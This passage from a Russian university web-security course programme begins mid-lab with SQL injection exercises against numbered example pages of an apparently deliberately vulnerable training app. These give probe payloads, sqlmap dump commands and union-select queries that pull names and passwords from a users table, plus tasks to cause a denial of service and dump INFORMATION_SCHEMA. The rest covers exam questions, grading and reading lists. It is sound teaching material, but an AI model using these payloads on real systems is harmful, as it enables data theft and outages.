Шаг 3. Перейти по ссылке «SQL injections → Example 3». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

− sqli/example3.php?name=root%20and%201=1
− sqli/example3.php?name=root'/**/and/**/'1'='1
− sqli/example3.php?name=root'/**/and/**/'1'='2
− sqli/example3.php?name=root'%2b%2b'

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL- injection. Запустить sqlmap, убедиться, что в данном случае он не сможет идентифицировать уязвимый параметр.

Шаг 4. Перейти по ссылке «SQL injections → Example 4». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

− sqli/example4.php?id=2
− sqli/example4.php?id=2'
− sqli/example4.php?id=2"
− sqli/example4.php?id=1%2b1
− sqli/example4.php?id=0%2b2
− sqli/example4.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Выполнить следующую команду:

python sqlmap.py –p id —dmbs=mysql —dump
–u http://IP_address/sqli/example4.php?id=1

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 5. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL- запроса:

− sqli/example5.php?id=2
− sqli/example5.php?id=2'
− sqli/example5.php?id=2"
− sqli/example5.php?id=1%2b1
− sqli/example5.php?id=0%2b2
− sqli/example5.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-

injection. Выполнить следующую команду:
python sqlmap.py –p id —dmbs=mysql —dump
–u http://IP_address/sqli/example5.php?id=1
Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 6. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL- запроса:
− sqli/example6.php?id=2
− sqli/example6.php?id=2'
− sqli/example6.php?id=2"
− sqli/example6.php?id=1%2b1
− sqli/example6.php?id=0%2b2
− sqli/example6.php?id=3-1
− sqli/example6.php?id=5-3
Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Просмотреть исходный код PHP-сценария.

Шаг 7. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL- запроса:
− sqli/example7.php?id=2
− sqli/example7.php?id=2'
− sqli/example7.php?id=2"
− sqli/example7.php?id=1%2b1
− sqli/example7.php?id=3-1
− sqli/example7.php?id=2%0Aand%201=1
− sqli/example7.php?id=2%0Aand%201=2
− sqli/example7.php?id=2%0A%23sqli

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL- injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Выполнить следующие запросы для извлечения данных из СУБД:

− sqli/example7.php?id=2%0Aunion%20select%201
− sqli/example7.php?id=2%0Aunion%20select%201,2
− sqli/example7.php?id=2%0Aunion%20select%201,2,3
− sqli/example7.php?id=2%0Aunion%20select%201,2,3,4
− sqli/example7.php?id=2%0Aunion%20select%201,2,3,4,5
− sqli/example7.php?id=2%0Aunion%20select%20name,passwd,1,1,1 from users
Ручными методами получить данные из базы данных. Просмотреть исходный код PHP-сценария.

Задание № 3. Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании веб- приложения, уязвимого к атаке SQL-injection.

Задание № 4. Для веб-приложения, уязвимого к атаке SQL-injection и использующего для хранения данных СУБД MySQL, получить содержимое служебной базы данных INFORMATION_SCHEMA.

Задание № 5. Оформить отчет

Вопросы

1.Проблемы безопасности web-приложений.

2. Внутренние и внешние угрозы информационной безопасности web-приложения.
3. Технологии безопасной передачи информации в сети Интернет.
4. Жизненный цикл защиты web-приложения.
5. Технологии и средства безопасной разработки web-приложения.
6. Технологии и средства безопасного развертывания web-приложения.
7. Технологии и средства безопасного использования web-приложения.
8. Основы тестирования безопасности web-приложения.
9. Разработка клиентской части модуля безопасности web-приложения.
10. Разработка серверной части модуля безопасности web-приложения.
11. Средства защиты базы данных web-приложения.
12. Основные виды Интернет-угроз и методы защиты от них.
13. Подсистемы защиты web-порталов от информационных атак.
14. Особенности исследования web-приложения на уязвимости.
15. Специальное программное обеспечение для мониторинга безопасной работы web-приложений..

7.2. Методические материалы, определяющие процедуру оценивания знаний, умений, навыков и (или) опыта деятельности, характеризующих этапы формирования компетенций.

Общий результат выводится как интегральная оценка, складывающая из текущего контроля - __50__% и промежуточного контроля - __50___%.
Текущий контроль по дисциплине включает:
- посещение занятий - _10__ баллов,
- участие на практических занятиях - 30__ баллов,
- выполнение лабораторных заданий - ___баллов,
- выполнение домашних (аудиторных) контрольных работ - _10__ баллов.

Промежуточный контроль по дисциплине включает:
- устный опрос - _20__ баллов,
- письменная контрольная работа - __20__ баллов,
- тестирование - __10_ баллов.

8. Учебно-методическое обеспечение дисциплины.

а) основная литература:

1. Хоффман Эндрю, Безопасность веб-приложений. — СПб.: Питер, 2021. — 336 с.: ил. — (Серия «Бестселлеры O’Reilly»). ISBN 978-5-4461-1786-4 — Режим доступа: https://www.rulit.me/data/programs/resources/pdf/Hoffman_Bezopasnost-veb-prilozheniy_RuLit_Me_667354.pdf
2. Маркин А.В. ПРОГРАММИРОВАНИЕ НА SQL В 2 Ч. ЧАСТЬ 1. [Электронный ресурс] : Учебник и практикум для бакалавриата и магистратуры: Гриф УМО ВО М.:Издательство Юрайт, 2018 — Режим доступа: https://biblio-online.ru/book/65D478FB-E9CC-444C-9015-237C4ECB0AA1
3. Маркин А.В. ПРОГРАММИРОВАНИЕ НА SQL В 2 Ч. ЧАСТЬ 1. [Электронный ресурс] : Учебник и практикум для бакалавриата и магистратуры: Гриф УМО ВО М.:Издательство Юрайт, 2018 — Режим доступа: https://biblio-online.ru/book/BCC5FE83-9878-4ED2-AB2A-DFC7E60C3847

б) дополнительная литература:

1 Сычев А.В. Перспективные технологии и языки веб-разработки [Электронный ресурс]. - 2-е изд., испр. — Москва : Национальный Открытый Университет «ИНТУИТ», 2016. — 494 с. — Режим доступа : http://biblioclub.ru/index.php?page=book&id=429078.

2. Малашкевич В.Б. Интернет-программирование: лабораторный практикум / В.Б. Малашкевич ; Поволжский государственный технологический университет. — Йошкар-

Ола : ПГТУ, 2017. — 96 с. — Режим доступа:
http://biblioclub.ru/index.php?page=book&id=476400
3.Сердюк В.А. Организация и технологии защиты информации: обнаружение и предотвращение информационных атак в автоматизированных системах предприятий [Электронный ресурс] : учебное пособие. — Москва : Издательский дом Высшей школы экономики, 2015. — 574 с. — Режим доступа :
http://biblioclub.ru/index.php?page=book&id=440285

9. Перечень ресурсов информационно-телекоммуникационной сети «Интернет», необходимых для освоения дисциплины.

1. eLIBRARY.RU[Электронный ресурс]: электронная библиотека / Науч. электрон. б-ка. — Москва, 1999 – . Режим доступа: http://elibrary.ru/defaultx.asp (дата обращения: 01.09.2018). – Яз. рус., англ.
2. Moodle[Электронный ресурс]: система виртуального обучением: [база данных] / Даг. гос. ун-т. – Махачкала, г. – Доступ из сети ДГУ или, после регистрации из сети ун-та, из любой точки, имеющей доступ в интернет. – URL: http://moodle.dgu.ru/(датаобращения: 22.08.2018).
3. Электронный каталог НБ ДГУ[Электронный ресурс]: база данных содержит сведения о всех видах литературы, поступающих в фонд НБ ДГУ/Дагестанский гос. ун-т. – Махачкала, 2010 – Режим доступа: http://elib.dgu.ru, свободный (дата обращения: 21.09.2018).
4. Сайт кафедры http://iit.dgu.ru/ (дата обращения 15.09.2018)
5. Национальный Открытый Университет «ИНТУИТ» – http://www.intuit.ru/(дата обращения 15.09.2018)
6. Интернет-энциклопедия «Википедия». – https://ru.wikipedia.org/(дата обращения 15.09.2018)
7. Справочная правовая система Консультант плюс [электронный ресурс] — Режим доступа : http://www.consultant.ru/online/.
8. Официальный сайт Министерство цифрового развития, связи и массовых коммуникаций Российской Федерации (Минкомсвязь России) [электронный ресурс] — Режим доступа : http://government.ru/department/387/events/.
9. Официальный сайт Росстата [электронный ресурс] — Режим доступа : www.gks.ru/.
10. Нормативные правовые акты, организационно-распорядительные документы, нормативные и методические документы и подготовленные проекты документов по технической защите информации // официальный сайт ФСТЭК России [электронный ресурс] — Режим доступа : https://fstec.ru/tekhnicheskaya-zashchita-informatsii/dokumenty/113- gosudarstvennye-standarty/377-
11. Бизнес без опасности [электронный ресурс] — Режим доступа : https://lukatsky.blogspot.com/2019/01/2018.html
12. Что такое стандарты информационной безопасности? // официальный сайт компании «Эксперт СРО» [электронный ресурс] — Режим доступа : https://sro-isoexpert.ru/stati/chto_takoe_standarty_informacionnoj_bezopasnosti/
13. Международные стандарты информационной безопасности // сайт Лаборатория Сетевой Безопасности Your Private Network [электронный ресурс] — Режим доступа : http://ypn.ru/177/international-standards-of-information-technologies-security/
14. 20 интернет-ресурсов для специалистов по информационной безопасности // официальный сайт компании «ГЕОЛАЙН Технологии» [электронный ресурс] — Режим доступа : http://geoline-tech.com/top-20-sites-about-information-security/.
15. Полезные сайты и инструменты// Информационная безопасность. Практика информационной безопасности [электронный ресурс] — Режим доступа : http://dorlov.blogspot.com/p/blog-page_3151.html.

16. Информационная безопасность [электронный ресурс] — Режим доступа : http://www.securrity.ru/.
17. Информационная безопасность. Защита данных // habr - веб-сайт в формате коллективного блога с элементами новостного сайта [электронный ресурс] — Режим доступа : https://habr.com/ru/hub/infosecurity/.
18. Безопасность веб-приложений // habr - веб-сайт в формате коллективного блога с элементами новостного сайта [электронный ресурс] — Режим доступа : https://habr.com/ru/post/654783/
19.

10. Методические указания для обучающихся по освоению дисциплины.

Дисциплина рассматривает математические абстракции, помогающие качественно и количественно описывать сложные системы, но в отрыве от практических навыков пользу математических абстракций невозможно осознать и почувствовать их практическую значимость.

Для более полного понимания целей, задач и практических результатов теории систем следует:

1) Ознакомиться с дополнительной литературой, особенно с трудами основоположников.

2) Ознакомиться, хотя бы поверхностно, с другими подходами к построению систем (см. доп. литературу).

11. Перечень информационных технологий, используемых при осуществлении образовательного процесса по дисциплине, включая перечень программного обеспечения и информационных справочных систем.

Предусмотрено использование электронной почты для связи студентов с преподавателями.

Программное обеспечение для лекций: MS PowerPoint (MS PowerPoint Viewer), Adobe Acrobat Reader, средство просмотра изображений, табличный процессор.

Программное обеспечение практической работы компьютерном классе: Linux, MS PowerPoint (MS PowerPoint Viewer), Adobe Acrobat Reader, средство просмотра изображений, Интернет, E-mail.

Программные продукты

ОС Windows
ОС Linux
Приложения MS Office
Приложения LibraOffice
Архиваторы
AcrobatReader
Стандартное специализированное ПО в соответствии с наименованием кабинетов
http://www.dgu.ru
http://ru.wikipedia.org/wiki/Википедия
http://www.chaynikam.info/foto.html Компьютер для «чайников»
http://urist.fatal.ru/Book/Glava8/Glava8.htm Электронные презентации

12. Описание материально-технической базы, необходимой для осуществления образовательного процесса по дисциплине.

Реализация учебной дисциплины требует наличия типовой учебной аудитории с возможностью подключения технических средств. Учебная аудитория должна иметь следующее оборудование:

- Компьютер, медиа-проектор, экран.
- Программное обеспечение для демонстрации слайд-презентаций.